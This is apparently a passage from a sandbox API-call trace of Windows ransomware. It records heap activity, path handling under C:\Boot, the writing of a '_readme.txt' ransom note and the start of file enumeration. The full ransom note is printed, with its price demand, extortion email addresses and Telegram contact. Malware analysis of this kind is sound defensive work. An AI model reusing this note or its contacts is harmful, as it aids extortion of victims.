lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.358] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.358] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.359] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.359] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.360] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.360] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.362] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.362] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.362] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.362] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.362] PathFindFileNameW (pszPath="") returned="" [0116.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.362] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.363] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.363] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.363] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.363] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0116.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.363] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0116.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.364] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.364] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.364] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.365] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.365] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.365] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, 